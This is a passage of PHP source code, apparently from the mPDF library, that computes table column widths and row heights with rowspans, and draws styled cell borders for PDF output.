{ $widthcols[$i] = $widthcols[$i]['miw']; } // TABLE NOT WIDE ENOUGH EVEN FOR MINIMUM CONTENT WIDTH // If sum of column widths set are too wide for table $checktablewidth = 0; for ($i = 0; $i < $numcols; $i++) { $checktablewidth += $widthcols[$i]; } if ($checktablewidth > ($temppgwidth + 0.001 - $tblbw)) { $usedup = 0; $numleft = 0; for ($i = 0; $i < $numcols; $i++) { if ((isset($widthcols[$i]) && $widthcols[$i] > (($temppgwidth - $tblbw) / $numcols)) && (!isset($widthcols[$i]['w']))) { $numleft++; unset($widthcols[$i]); } else { $usedup += $widthcols[$i]; } } for ($i = 0; $i < $numcols; $i++) { if (!isset($widthcols[$i]) || !$widthcols[$i]) { $widthcols[$i] = ((($temppgwidth - $tblbw) - $usedup) / ($numleft)); } } } } else { // table has no width defined $table['w'] = $tablewidth; for ($i = 0; $i < $numcols; $i++) { if (isset($widthcols[$i]['wpercent']) && $this->keep_table_proportions) { $colwidth = $widthcols[$i]['maw']; } elseif (isset($widthcols[$i]['w'])) { $colwidth = $widthcols[$i]['miw']; } else { $colwidth = $widthcols[$i]['maw']; } unset($widthcols[$i]); $widthcols[$i] = $colwidth; } } if ($table['overflow'] === 'visible' && $table['level'] == 1) { if ($tablewidth > $this->blk[$this->blklvl]['inner_width']) { for ($j = 0; $j < $numcols; $j++) { // columns for ($i = 0; $i < $table['nr']; $i++) { // rows if (isset($table['cells'][$i][$j]) && $table['cells'][$i][$j]) { $colspan = (isset($table['cells'][$i][$j]['colspan']) ? $table['cells'][$i][$j]['colspan'] : 1); if ($colspan > 1) { $w = 0; for ($c = $j; $c < ($j + $colspan); $c++) { $w += $widthcols[$c]; } if ($w > $this->blk[$this->blklvl]['inner_width']) { $diff = $w - ($this->blk[$this->blklvl]['inner_width'] - $tblbw); for ($c = $j; $c < ($j + $colspan); $c++) { $widthcols[$c] -= $diff * ($widthcols[$c] / $w); } $table['w'] -= $diff; $table['csp'][$j] = $w - $diff; } } } } } } $pgNo = 0; $currWc = 0; for ($i = 0; $i < $numcols; $i++) { // columns if (isset($table['csp'][$i])) { $w = $table['csp'][$i]; unset($table['csp'][$i]); } else { $w = $widthcols[$i]; } if (($currWc + $w + $tblbw) > $this->blk[$this->blklvl]['inner_width']) { $pgNo++; $currWc = $widthcols[$i]; } else { $currWc += $widthcols[$i]; } $table['colPg'][$i] = $pgNo; } } } function _tableHeight(&$table) { $level = $table['level']; $levelid = $table['levelid']; $cells = &$table['cells']; $numcols = $table['nc']; $numrows = $table['nr']; $listspan = []; $checkmaxheight = 0; $headerrowheight = 0; $checkmaxheightplus = 0; $headerrowheightplus = 0; $firstrowheight = 0; $footerrowheight = 0; $footerrowheightplus = 0; if ($this->table_rotate) { $temppgheight = $this->tbrot_maxh; $remainingpage = $this->tbrot_maxh; } else { $temppgheight = ($this->h - $this->bMargin - $this->tMargin) - $this->kwt_height; $remainingpage = ($this->h - $this->bMargin - $this->y) - $this->kwt_height; // If it is less than 1/20th of the remaining page height to finish the DIV (i.e. DIV padding + table bottom margin) // then allow for this $enddiv = $this->blk[$this->blklvl]['padding_bottom'] + $this->blk[$this->blklvl]['border_bottom']['w'] + $table['margin']['B']; if ($remainingpage > $enddiv && $enddiv / $remainingpage < 0.05) { $remainingpage -= $enddiv; } elseif ($remainingpage == 0) { $remainingpage = 0.001; } if ($temppgheight > $enddiv && $enddiv / $temppgheight < 0.05) { $temppgheight -= $enddiv; } elseif ($temppgheight == 0) { $temppgheight = 0.001; } } if ($remainingpage < 0) { $remainingpage = 0.001; } if ($temppgheight < 0) { $temppgheight = 0.001; } for ($i = 0; $i < $numrows; $i++) { // rows $heightrow = &$table['hr'][$i]; for ($j = 0; $j < $numcols; $j++) { // columns if (isset($cells[$i][$j]) && $cells[$i][$j]) { $c = &$cells[$i][$j]; if ($this->simpleTables) { if ($table['borders_separate']) { // NB twice border width $extraWLR = ($table['simple']['border_details']['L']['w'] + $table['simple']['border_details']['R']['w']) + ($c['padding']['L'] + $c['padding']['R']) + $table['border_spacing_H']; $extrh = ($table['simple']['border_details']['T']['w'] + $table['simple']['border_details']['B']['w']) + ($c['padding']['T'] + $c['padding']['B']) + $table['border_spacing_V']; } else { $extraWLR = ($table['simple']['border_details']['L']['w'] + $table['simple']['border_details']['R']['w']) / 2 + ($c['padding']['L'] + $c['padding']['R']); $extrh = ($table['simple']['border_details']['T']['w'] + $table['simple']['border_details']['B']['w']) / 2 + ($c['padding']['T'] + $c['padding']['B']); } } else { if ($this->packTableData) { list($bt, $br, $bb, $bl) = $this->_getBorderWidths($c['borderbin']); } else { $bt = $c['border_details']['T']['w']; $bb = $c['border_details']['B']['w']; $br = $c['border_details']['R']['w']; $bl = $c['border_details']['L']['w']; } if ($table['borders_separate']) { // NB twice border width $extraWLR = $bl + $br + $c['padding']['L'] + $c['padding']['R'] + $table['border_spacing_H']; $extrh = $bt + $bb + $c['padding']['T'] + $c['padding']['B'] + $table['border_spacing_V']; } else { $extraWLR = $bl / 2 + $br / 2 + $c['padding']['L'] + $c['padding']['R']; $extrh = $bt / 2 + $bb / 2 + $c['padding']['T'] + $c['padding']['B']; } } if ($table['overflow'] == 'visible' && $level == 1) { list($x, $cw) = $this->_splitTableGetWidth($table, $i, $j); } else { list($x, $cw) = $this->_tableGetWidth($table, $i, $j); } // Get CELL HEIGHT // ++ extra parameter forces wrap to break word if ($c['R'] && isset($c['textbuffer'])) { $str = ''; foreach ($c['textbuffer'] as $t) { $str .= $t[0] . ' '; } $str = rtrim($str); $s_fs = $this->FontSizePt; $s_f = $this->FontFamily; $s_st = $this->FontStyle; $this->SetFont($c['textbuffer'][0][4], $c['textbuffer'][0][2], $c['textbuffer'][0][11] / $this->shrin_k, true, true); $tempch = $this->GetStringWidth($str, true, $c['textbuffer'][0][18], $c['textbuffer'][0][8]); if ($c['R'] >= 45 && $c['R'] < 90) { $tempch = ((sin(deg2rad($c['R']))) * $tempch ) + ((sin(deg2rad($c['R']))) * (($c['textbuffer'][0][11] / Mpdf::SCALE) / $this->shrin_k)); } $this->SetFont($s_f, $s_st, $s_fs, true, true); $ch = ($tempch ) + $extrh; } else { if (isset($c['textbuffer']) && !empty($c['textbuffer'])) { $this->cellLineHeight = $c['cellLineHeight']; $this->cellLineStackingStrategy = $c['cellLineStackingStrategy']; $this->cellLineStackingShift = $c['cellLineStackingShift']; $this->divwidth = $cw - $extraWLR; $tempch = $this->printbuffer($c['textbuffer'], '', true, true); } else { $tempch = 0; } // Added cellpadding top and bottom. (Lineheight already adjusted) $ch = $tempch + $extrh; } // If height is defined and it is bigger than calculated $ch then update values if (isset($c['h']) && $c['h'] > $ch) { $c['mih'] = $ch; // in order to keep valign working $ch = $c['h']; } else { $c['mih'] = $ch; } if (isset($c['rowspan'])) { $listspan[] = [$i, $j]; } elseif ($heightrow < $ch) { $heightrow = $ch; } // this is the extra used in _tableWrite to determine whether to trigger a page change if ($table['borders_separate']) { if ($i == ($numrows - 1) || (isset($c['rowspan']) && ($i + $c['rowspan']) == ($numrows))) { $extra = $table['margin']['B'] + $table['padding']['B'] + $table['border_details']['B']['w'] + $table['border_spacing_V'] / 2; } else { $extra = $table['border_spacing_V'] / 2; } } else { if (!$this->simpleTables) { $extra = $bb / 2; } elseif ($this->simpleTables) { $extra = $table['simple']['border_details']['B']['w'] / 2; } } if (isset($table['is_thead'][$i]) && $table['is_thead'][$i]) { if ($j == 0) { $headerrowheight += $ch; $headerrowheightplus += $ch + $extra; } } elseif (isset($table['is_tfoot'][$i]) && $table['is_tfoot'][$i]) { if ($j == 0) { $footerrowheight += $ch; $footerrowheightplus += $ch + $extra; } } else { $checkmaxheight = max($checkmaxheight, $ch); $checkmaxheightplus = max($checkmaxheightplus, $ch + $extra); } if ($this->tableLevel == 1 && $i == (isset($table['headernrows']) ? $table['headernrows'] : 0)) { $firstrowheight = max($ch, $firstrowheight); } unset($c); } }//end of columns }//end of rows $heightrow = &$table['hr']; foreach ($listspan as $span) { list($i, $j) = $span; $c = &$cells[$i][$j]; $lr = $i + $c['rowspan']; if ($lr > $numrows) { $lr = $numrows; } $hs = $hsa = 0; $list = []; for ($k = $i; $k < $lr; $k++) { $hs += $heightrow[$k]; // mPDF 6 $sh = false; // specified height for ($m = 0; $m < $numcols; $m++) { // columns $tc = &$cells[$k][$m]; if (isset($tc['rowspan'])) { continue; } if (isset($tc['h'])) { $sh = true; break; } } if (!$sh) { $list[] = $k; } } if ($table['borders_separate']) { if ($i == ($numrows - 1) || ($i + $c['rowspan']) == ($numrows)) { $extra = $table['margin']['B'] + $table['padding']['B'] + $table['border_details']['B']['w'] + $table['border_spacing_V'] / 2; } else { $extra = $table['border_spacing_V'] / 2; } } else { if (!$this->simpleTables) { if ($this->packTableData) { list($bt, $br, $bb, $bl) = $this->_getBorderWidths($c['borderbin']); } else { $bb = $c['border_details']['B']['w']; } $extra = $bb / 2; } elseif ($this->simpleTables) { $extra = $table['simple']['border_details']['B']['w'] / 2; } } if (!empty($table['is_thead'][$i])) { $headerrowheight = max($headerrowheight, $hs); $headerrowheightplus = max($headerrowheightplus, $hs + $extra); } elseif (!empty($table['is_tfoot'][$i])) { $footerrowheight = max($footerrowheight, $hs); $footerrowheightplus = max($footerrowheightplus, $hs + $extra); } else { $checkmaxheight = max($checkmaxheight, $hs); $checkmaxheightplus = max($checkmaxheightplus, $hs + $extra); } if ($this->tableLevel == 1 && $i == (isset($table['headernrows']) ? $table['headernrows'] : 0)) { $firstrowheight = max($hs, $firstrowheight); } if ($c['mih'] > $hs) { if (!$hs) { for ($k = $i; $k < $lr; $k++) { $heightrow[$k] = $c['mih'] / $c['rowspan']; } } elseif (!count($list)) { // no rows in the rowspan have a height specified, so share amongst all rows equally $hi = $c['mih'] - $hs; for ($k = $i; $k < $lr; $k++) { $heightrow[$k] += ($heightrow[$k] / $hs) * $hi; } } else { $hi = $c['mih'] - $hs; // mPDF 6 foreach ($list as $k) { $heightrow[$k] += $hi / (count($list)); // mPDF 6 } } } unset($c); // If rowspans overlap so that one or more rows do not have a height set... // i.e. for one or more rows, the only cells (explicit) in that row have rowspan>1 // so heightrow is still == 0 if ($heightrow[$i] == 0) { // Get row extent to analyse above and below $top = $i; foreach ($listspan as $checkspan) { list($cki, $ckj) = $checkspan; $c = &$cells[$cki][$ckj]; if (isset($c['rowspan']) && $c['rowspan'] > 1) { if (($cki + $c['rowspan'] - 1) >= $i) { $top = min($top, $cki); } } } $bottom = $i + $c['rowspan'] - 1; // Check for overconstrained conditions for ($k = $top; $k <= $bottom; $k++) { // if ['hr'] for any of the others is also 0, then abort (too complicated) if ($k != $i && $heightrow[$k] == 0) { break(1); } // check again that top and bottom are not crossed by rowspans - or abort (too complicated) if ($k == $top) { // ???? take account of colspan as well??? for ($m = 0; $m < $numcols; $m++) { // columns if (!isset($cells[$k][$m]) || $cells[$k][$m] == 0) { break(2); } } } elseif ($k == $bottom) { // ???? take account of colspan as well??? for ($m = 0; $m < $numcols; $m++) { // columns $c = &$cells[$k][$m]; if (isset($c['rowspan']) && $c['rowspan'] > 1) { break(2); } } } } // By columns add up col height using ['h'] if set or ['mih'] if not // Intentionally do not substract border-spacing $colH = []; $extH = 0; $newhr = []; for ($m = 0; $m < $numcols; $m++) { // columns for ($k = $top; $k <= $bottom; $k++) { if (isset($cells[$k][$m]) && $cells[$k][$m] != 0) { $c = &$cells[$k][$m]; if (isset($c['h']) && $c['h']) { $useh = $c['h']; } // ???? take account of colspan as well??? else { $useh = $c['mih']; } if (isset($colH[$m])) { $colH[$m] += $useh; } else { $colH[$m] = $useh; } if (!isset($c['rowspan']) || $c['rowspan'] < 2) { $newhr[$k] = max((isset($newhr[$k]) ? $newhr[$k] : 0), $useh); } } } $extH = max($extH, $colH[$m]); // mPDF 6 } $newhr[$i] = $extH - array_sum($newhr); for ($k = $top; $k <= $bottom; $k++) { $heightrow[$k] = $newhr[$k]; } } unset($c); } $table['h'] = array_sum($heightrow); unset($heightrow); if ($table['borders_separate']) { $table['h'] += $table['margin']['T'] + $table['margin']['B'] + $table['border_details']['T']['w'] + $table['border_details']['B']['w'] + $table['border_spacing_V'] + $table['padding']['T'] + $table['padding']['B']; } else { $table['h'] += $table['margin']['T'] + $table['margin']['B'] + $table['max_cell_border_width']['T'] / 2 + $table['max_cell_border_width']['B'] / 2; } $maxrowheight = $checkmaxheightplus + $headerrowheightplus + $footerrowheightplus; $maxfirstrowheight = $firstrowheight + $headerrowheightplus + $footerrowheightplus; // includes thead, 1st row and tfoot return [$table['h'], $maxrowheight, $temppgheight, $remainingpage, $maxfirstrowheight]; } function _tableGetWidth(&$table, $i, $j) { $cell = &$table['cells'][$i][$j]; if ($cell) { if (isset($cell['x0'])) { return [$cell['x0'], $cell['w0']]; } $x = 0; $widthcols = &$table['wc']; for ($k = 0; $k < $j; $k++) { $x += $widthcols[$k]; } $w = $widthcols[$j]; if (isset($cell['colspan'])) { for ($k = $j + $cell['colspan'] - 1; $k > $j; $k--) { $w += $widthcols[$k]; } } $cell['x0'] = $x; $cell['w0'] = $w; return [$x, $w]; } return [0, 0]; } function _splitTableGetWidth(&$table, $i, $j) { $cell = &$table['cells'][$i][$j]; if ($cell) { if (isset($cell['x0'])) { return [$cell['x0'], $cell['w0']]; } $x = 0; $widthcols = &$table['wc']; $pg = $table['colPg'][$j]; for ($k = 0; $k < $j; $k++) { if ($table['colPg'][$k] == $pg) { $x += $widthcols[$k]; } } $w = $widthcols[$j]; if (isset($cell['colspan'])) { for ($k = $j + $cell['colspan'] - 1; $k > $j; $k--) { if ($table['colPg'][$k] == $pg) { $w += $widthcols[$k]; } } } $cell['x0'] = $x; $cell['w0'] = $w; return [$x, $w]; } return [0, 0]; } function _tableGetHeight(&$table, $i, $j) { $cell = &$table['cells'][$i][$j]; if ($cell) { if (isset($cell['y0'])) { return [$cell['y0'], $cell['h0']]; } $y = 0; $heightrow = &$table['hr']; for ($k = 0; $k < $i; $k++) { $y += $heightrow[$k]; } $h = $heightrow[$i]; if (isset($cell['rowspan'])) { for ($k = $i + $cell['rowspan'] - 1; $k > $i; $k--) { if (array_key_exists($k, $heightrow)) { $h += $heightrow[$k]; } else { $this->logger->debug('Possible non-wellformed HTML markup in a table', ['context' => LogContext::HTML_MARKUP]); } } } $cell['y0'] = $y; $cell['h0'] = $h; return [$y, $h]; } return [0, 0]; } function _tableGetMaxRowHeight($table, $row) { if ($row == $table['nc'] - 1) { return $table['hr'][$row]; } $maxrowheight = $table['hr'][$row]; for ($i = $row + 1; $i < $table['nr']; $i++) { $cellsset = 0; for ($j = 0; $j < $table['nc']; $j++) { if ($table['cells'][$i][$j]) { if (isset($table['cells'][$i][$j]['colspan'])) { $cellsset += $table['cells'][$i][$j]['colspan']; } else { $cellsset += 1; } } } if ($cellsset == $table['nc']) { return $maxrowheight; } else { $maxrowheight += $table['hr'][$i]; } } return $maxrowheight; } // CHANGED TO ALLOW TABLE BORDER TO BE SPECIFIED CORRECTLY - added border_details function _tableRect($x, $y, $w, $h, $bord = -1, $details = [], $buffer = false, $bSeparate = false, $cort = 'cell', $tablecorner = '', $bsv = 0, $bsh = 0) { $cellBorderOverlay = []; if ($bord == -1) { $this->Rect($x, $y, $w, $h); } elseif ($this->simpleTables && ($cort == 'cell')) { $this->SetLineWidth($details['L']['w']); if ($details['L']['c']) { $this->SetDColor($details['L']['c']); } else { $this->SetDColor($this->colorConverter->convert(0, $this->PDFAXwarnings)); } $this->SetLineJoin(0); $this->Rect($x, $y, $w, $h); } elseif ($bord) { if (!$bSeparate && $buffer) { $priority = 'LRTB'; for ($p = 0; $p < strlen($priority); $p++) { $side = $priority[$p]; $details['p'] = $side; $dom = 0; if (isset($details[$side]['w'])) { $dom += ($details[$side]['w'] * 100000); } if (isset($details[$side]['style'])) { $dom += (array_search($details[$side]['style'], $this->borderstyles) * 100); } if (isset($details[$side]['dom'])) { $dom += ($details[$side]['dom'] * 10); } // Precedence to darker colours at joins $coldom = 0; if (isset($details[$side]['c']) && is_array($details[$side]['c'])) { if ($details[$side]['c'][0] == 3) { // RGB $coldom = 10 - (((ord($details[$side]['c'][1]) * 1.00) + (ord($details[$side]['c'][2]) * 1.00) + (ord($details[$side]['c'][3]) * 1.00)) / 76.5); } } // 10 black - 0 white if ($coldom) { $dom += $coldom; } // Lastly precedence to RIGHT and BOTTOM cells at joins if (isset($details['cellposdom'])) { $dom += $details['cellposdom']; } $save = false; if ($side == 'T' && $this->issetBorder($bord, Border::TOP)) { $cbord = Border::TOP; $save = true; } elseif ($side == 'L' && $this->issetBorder($bord, Border::LEFT)) { $cbord = Border::LEFT; $save = true; } elseif ($side == 'R' && $this->issetBorder($bord, Border::RIGHT)) { $cbord = Border::RIGHT; $save = true; } elseif ($side == 'B' && $this->issetBorder($bord, Border::BOTTOM)) { $cbord = Border::BOTTOM; $save = true; } if ($save) { $this->cellBorderBuffer[] = pack("A16nCnda6A10d14", str_pad(sprintf("%08.7f", $dom), 16, "0", STR_PAD_LEFT), $cbord, ord($side), $details[$side]['s'], $details[$side]['w'], $details[$side]['c'], $details[$side]['style'], $x, $y, $w, $h, $details['mbw']['BL'], $details['mbw']['BR'], $details['mbw']['RT'], $details['mbw']['RB'], $details['mbw']['TL'], $details['mbw']['TR'], $details['mbw']['LT'], $details['mbw']['LB'], $details['cellposdom'], 0); if ($details[$side]['style'] == 'ridge' || $details[$side]['style'] == 'groove' || $details[$side]['style'] == 'inset' || $details[$side]['style'] == 'outset' || $details[$side]['style'] == 'double') { $details[$side]['overlay'] = true; $this->cellBorderBuffer[] = pack("A16nCnda6A10d14", str_pad(sprintf("%08.7f", ($dom + 4)), 16, "0", STR_PAD_LEFT), $cbord, ord($side), $details[$side]['s'], $details[$side]['w'], $details[$side]['c'], $details[$side]['style'], $x, $y, $w, $h, $details['mbw']['BL'], $details['mbw']['BR'], $details['mbw']['RT'], $details['mbw']['RB'], $details['mbw']['TL'], $details['mbw']['TR'], $details['mbw']['LT'], $details['mbw']['LB'], $details['cellposdom'], 1); } } } return; } if (isset($details['p']) && strlen($details['p']) > 1) { $priority = $details['p']; } else { $priority = 'LTRB'; } $Tw = 0; $Rw = 0; $Bw = 0; $Lw = 0; if (isset($details['T']['w'])) { $Tw = $details['T']['w']; } if (isset($details['R']['w'])) { $Rw = $details['R']['w']; } if (isset($details['B']['w'])) { $Bw = $details['B']['w']; } if (isset($details['L']['w'])) { $Lw = $details['L']['w']; } $x2 = $x + $w; $y2 = $y + $h; $oldlinewidth = $this->LineWidth; for ($p = 0; $p < strlen($priority); $p++) { $side = $priority[$p]; $xadj = 0; $xadj2 = 0; $yadj = 0; $yadj2 = 0; $print = false; if ($Tw && $side == 'T' && $this->issetBorder($bord, Border::TOP)) { // TOP $ly1 = $y; $ly2 = $y; $lx1 = $x; $lx2 = $x2; $this->SetLineWidth($Tw); if ($cort == 'cell' || strpos($tablecorner, 'L') !== false) { if ($Tw > $Lw) { $xadj = ($Tw - $Lw) / 2; } if ($Tw < $Lw) { $xadj = ($Tw + $Lw) / 2; } } else { $xadj = $Tw / 2 - $bsh / 2; } if ($cort == 'cell' || strpos($tablecorner, 'R') !== false) { if ($Tw > $Rw) { $xadj2 = ($Tw - $Rw) / 2; } if ($Tw < $Rw) { $xadj2 = ($Tw + $Rw) / 2; } } else { $xadj2 = $Tw / 2 - $bsh / 2; } if (!$bSeparate && !empty($details['mbw']) && !empty($details['mbw']['TL'])) { $xadj = ($Tw - $details['mbw']['TL']) / 2; } if (!$bSeparate && !empty($details['mbw']) && !empty($details['mbw']['TR'])) { $xadj2 = ($Tw - $details['mbw']['TR']) / 2; } $print = true; } if ($Lw && $side == 'L' && $this->issetBorder($bord, Border::LEFT)) { // LEFT $ly1 = $y; $ly2 = $y2; $lx1 = $x; $lx2 = $x; $this->SetLineWidth($Lw); if ($cort == 'cell' || strpos($tablecorner, 'T') !== false) { if ($Lw > $Tw) { $yadj = ($Lw - $Tw) / 2; } if ($Lw < $Tw) { $yadj = ($Lw + $Tw) / 2; } } else { $yadj = $Lw / 2 - $bsv / 2; } if ($cort == 'cell' || strpos($tablecorner, 'B') !== false) { if ($Lw > $Bw) { $yadj2 = ($Lw - $Bw) / 2; } if ($Lw < $Bw) { $yadj2 = ($Lw + $Bw) / 2; } } else { $yadj2 = $Lw / 2 - $bsv / 2; } if (!$bSeparate && $details['mbw']['LT']) { $yadj = ($Lw - $details['mbw']['LT']) / 2; } if (!$bSeparate && $details['mbw']['LB']) { $yadj2 = ($Lw - $details['mbw']['LB']) / 2; } $print = true; } if ($Rw && $side == 'R' && $this->issetBorder($bord, Border::RIGHT)) { // RIGHT $ly1 = $y; $ly2 = $y2; $lx1 = $x2; $lx2 = $x2; $this->SetLineWidth($Rw); if ($cort == 'cell' || strpos($tablecorner, 'T') !== false) { if ($Rw < $Tw) { $yadj = ($Rw + $Tw) / 2; } if ($Rw > $Tw) { $yadj = ($Rw - $Tw) / 2; } } else { $yadj = $Rw / 2 - $bsv / 2; } if ($cort == 'cell' || strpos($tablecorner, 'B') !== false) { if ($Rw > $Bw) { $yadj2 = ($Rw - $Bw) / 2; } if ($Rw < $Bw) { $yadj2 = ($Rw + $Bw) / 2; } } else { $yadj2 = $Rw / 2 - $bsv / 2; } if (!$bSeparate && !empty($details['mbw']) && !empty($details['mbw']['RT'])) { $yadj = ($Rw - $details['mbw']['RT']) / 2; } if (!$bSeparate && !empty($details['mbw']) && !empty($details['mbw']['RB'])) { $yadj2 = ($Rw - $details['mbw']['RB']) / 2; } $print = true; } if ($Bw && $side == 'B' && $this->issetBorder($bord, Border::BOTTOM)) { // BOTTOM $ly1 = $y2; $ly2 = $y2; $lx1 = $x; $lx2 = $x2; $this->SetLineWidth($Bw); if ($cort == 'cell' || strpos($tablecorner, 'L') !== false) { if ($Bw > $Lw) { $xadj = ($Bw - $Lw) / 2; } if ($Bw < $Lw) { $xadj = ($Bw + $Lw) / 2; } } else { $xadj = $Bw / 2 - $bsh / 2; } if ($cort == 'cell' || strpos($tablecorner, 'R') !== false) { if ($Bw > $Rw) { $xadj2 = ($Bw - $Rw) / 2; } if ($Bw < $Rw) { $xadj2 = ($Bw + $Rw) / 2; } } else { $xadj2 = $Bw / 2 - $bsh / 2; } if (!$bSeparate && isset($details['mbw']) && isset($details['mbw']['BL'])) { $xadj = ($Bw - $details['mbw']['BL']) / 2; } if (!$bSeparate && isset($details['mbw']) && isset($details['mbw']['BR'])) { $xadj2 = ($Bw - $details['mbw']['BR']) / 2; } $print = true; } // Now draw line if ($print) { /* -- TABLES-ADVANCED-BORDERS -- */ if ($details[$side]['style'] == 'double') { if (!isset($details[$side]['overlay']) || !$details[$side]['overlay'] || $bSeparate) { if ($details[$side]['c']) { $this->SetDColor($details[$side]['c']); } else { $this->SetDColor($this->colorConverter->convert(0, $this->PDFAXwarnings)); } $this->Line($lx1 + $xadj, $ly1 + $yadj, $lx2 - $xadj2, $ly2 - $yadj2); } if ((isset($details[$side]['overlay']) && $details[$side]['overlay']) || $bSeparate) { if ($bSeparate && $cort == 'table') { if ($side == 'T') { $xadj -= $this->LineWidth / 2; $xadj2 -= $this->LineWidth; if ($this->issetBorder($bord, Border::LEFT)) { $xadj += $this->LineWidth / 2; } if ($this->issetBorder($bord, Border::RIGHT)) { $xadj2 += $this->LineWidth; } } if ($side == 'L') { $yadj -= $this->LineWidth / 2; $yadj2 -= $this->LineWidth; if ($this->issetBorder($bord, Border::TOP)) { $yadj += $this->LineWidth / 2; } if ($this->issetBorder($bord, Border::BOTTOM)) { $yadj2 += $this->LineWidth; } } if ($side == 'B') { $xadj -= $this->LineWidth / 2; $xadj2 -= $this->LineWidth; if ($this->issetBorder($bord, Border::LEFT)) { $xadj += $this->LineWidth / 2; } if ($this->issetBorder($bord, Border::RIGHT)) { $xadj2 += $this->LineWidth; } } if ($side == 'R') { $yadj -= $this->LineWidth / 2; $yadj2 -= $this->LineWidth; if ($this->issetBorder($bord, Border::TOP)) { $yadj += $this->LineWidth / 2; } if ($this->issetBorder($bord, Border::BOTTOM)) { $yadj2 += $this->LineWidth; } } } $this->SetLineWidth($this->LineWidth / 3); $tbcol = $this->colorConverter->convert(255, $this->PDFAXwarnings); for ($l = 0; $l <= $this->blklvl; $l++) { if ($this->blk[$l]['bgcolor']) { $tbcol = ($this->blk[$l]['bgcolorarray']); } } if ($bSeparate) { $cellBorderOverlay[] = [ 'x' => $lx1 + $xadj, 'y' => $ly1 + $yadj, 'x2' => $lx2 - $xadj2, 'y2' => $ly2 - $yadj2, 'col' => $tbcol, 'lw' => $this->LineWidth, ]; } else { $this->SetDColor($tbcol); $this->Line($lx1 + $xadj, $ly1 + $yadj, $lx2 - $xadj2, $ly2 - $yadj2); } } } elseif (isset($details[$side]['style']) && ($details[$side]['style'] == 'ridge' || $details[$side]['style'] == 'groove' || $details[$side]['style'] == 'inset' || $details[$side]['style'] == 'outset')) { if (!isset($details[$side]['overlay']) || !$details[$side]['overlay'] || $bSeparate) { if ($details[$side]['c']) { $this->SetDColor($details[$side]['c']); } else { $this->SetDColor($this->colorConverter->convert(0, $this->PDFAXwarnings)); } if ($details[$side]['style'] == 'outset' || $details[$side]['style'] == 'groove') { $nc = $this->colorConverter->darken($details[$side]['c']); $this->SetDColor($nc); } elseif ($details[$side]['style'] == 'ridge' || $details[$side]['style'] == 'inset') { $nc = $this->colorConverter->lighten($details[$side]['c']); $this->SetDColor($nc); } $this->Line($lx1 + $xadj, $ly1 + $yadj, $lx2 - $xadj2, $ly2 - $yadj2); } if ((isset($details[$side]['overlay']) && $details[$side]['overlay']) || $bSeparate) { if ($details[$side]['c']) { $this->SetDColor($details[$side]['c']); } else { $this->SetDColor($this->colorConverter->convert(0, $this->PDFAXwarnings)); } $doubleadj = ($this->LineWidth) / 3; $this->SetLineWidth($this->LineWidth / 2); $xadj3 = $yadj3 = $wadj3 = $hadj3 = 0; if ($details[$side]['style'] == 'ridge' || $details[$side]['style'] == 'inset') { $nc = $this->colorConverter->darken($details[$side]['c']); if ($bSeparate && $cort == 'table') { if ($side == 'T') { $yadj3 = $this->LineWidth / 2; $xadj3 = -$this->LineWidth / 2; $wadj3 = $this->LineWidth; if ($this->issetBorder($bord, Border::LEFT)) { $xadj3 += $this->LineWidth; $wadj3 -= $this->LineWidth; } if ($this->issetBorder($bord, Border::RIGHT)) { $wadj3 -= $this->LineWidth * 2; } } if ($side == 'L') { $xadj3 = $this->LineWidth / 2; $yadj3 = -$this->LineWidth / 2; $hadj3 = $this->LineWidth; if ($this->issetBorder($bord, Border::TOP)) { $yadj3 += $this->LineWidth; $hadj3 -= $this->LineWidth; } if ($this->issetBorder($bord, Border::BOTTOM)) { $hadj3 -= $this->LineWidth * 2; } } if ($side == 'B') { $yadj3 = $this->LineWidth / 2; $xadj3 = -$this->LineWidth / 2; $wadj3 = $this->LineWidth; } if ($side == 'R') { $xadj3 = $this->LineWidth / 2; $yadj3 = -$this->LineWidth / 2; $hadj3 = $this->LineWidth; } } elseif ($side == 'T') { $yadj3 = $this->LineWidth / 2; $xadj3 = $this->LineWidth / 2; $wadj3 = -$this->LineWidth * 2; } elseif ($side == 'L') { $xadj3 = $this->LineWidth / 2; $yadj3 = $this->LineWidth / 2; $hadj3 = -$this->LineWidth * 2; } elseif ($side == 'B' && $bSeparate) { $yadj3 = $this->LineWidth / 2; $wadj3 = $this->LineWidth / 2; } elseif ($side == 'R' && $bSeparate) { $xadj3 = $this->LineWidth / 2; $hadj3 = $this->LineWidth / 2; } elseif ($side == 'B') { $yadj3 = $this->LineWidth / 2; $xadj3 = $this->LineWidth / 2; } elseif ($side == 'R') { $xadj3 = $this->LineWidth / 2; $yadj3 = $this->LineWidth / 2; } } else { $nc = $this->colorConverter->lighten($details[$side]['c']); if ($bSeparate && $cort == 'table') { if ($side == 'T') { $yadj3 = $this->LineWidth / 2; $xadj3 = -$this->LineWidth / 2; $wadj3 = $this->LineWidth; if ($this->issetBorder($bord, Border::LEFT)) { $xadj3 += $this->LineWidth; $wadj3 -= $this->LineWidth; } } if ($side == 'L') { $xadj3 = $this->LineWidth / 2; $yadj3 = -$this->LineWidth / 2; $hadj3 = $this->LineWidth; if ($this->issetBorder($bord, Border::TOP)) { $yadj3 += $this->LineWidth; $hadj3 -= $this->LineWidth; } } if ($side == 'B') { $yadj3 = $this->LineWidth / 2; $xadj3 = -$this->LineWidth / 2; $wadj3 = $this->LineWidth; if ($this->issetBorder($bord, Border::LEFT)) { $xadj3 += $this->LineWidth; $wadj3 -= $this->LineWidth; } } if ($side == 'R') { $xadj3 = $this->LineWidth / 2; $yadj3 = -$this->LineWidth / 2; $hadj3 = $this->LineWidth; if ($this->issetBorder($bord, Border::TOP)) { $yadj3 += $this->LineWidth; $hadj3 -= $this->LineWidth; } } } elseif ($side == 'T') { $yadj3 = $this->LineWidth / 2; $xadj3 = $this->LineWidth / 2; } elseif ($side == 'L') { $xadj3 = $this->LineWidth / 2; $yadj3 = $this->LineWidth / 2; } elseif ($side == 'B' && $bSeparate) { $yadj3 = $this->LineWidth / 2; $xadj3 = $this->LineWidth / 2; } elseif ($side == 'R' && $bSeparate) { $xadj3 = $this->LineWidth / 2; $yadj3 = $this->LineWidth / 2; } elseif ($side == 'B') { $yadj3 = $this->LineWidth / 2; $xadj3 = -$this->LineWidth / 2; $wadj3 = $this->LineWidth; } elseif ($side == 'R') { $xadj3 = $this->LineWidth / 2; $yadj3 = -$this->LineWidth / 2; $hadj3 = $this->LineWidth; } } if ($bSeparate) { $cellBorderOverlay[] = [ 'x' => $lx1 + $xadj + $xadj3, 'y' => $ly1 + $yadj + $yadj3, 'x2' => $lx2 - $xadj2 + $xadj3 + $wadj3, 'y2' => $ly2 - $yadj2 + $yadj3 + 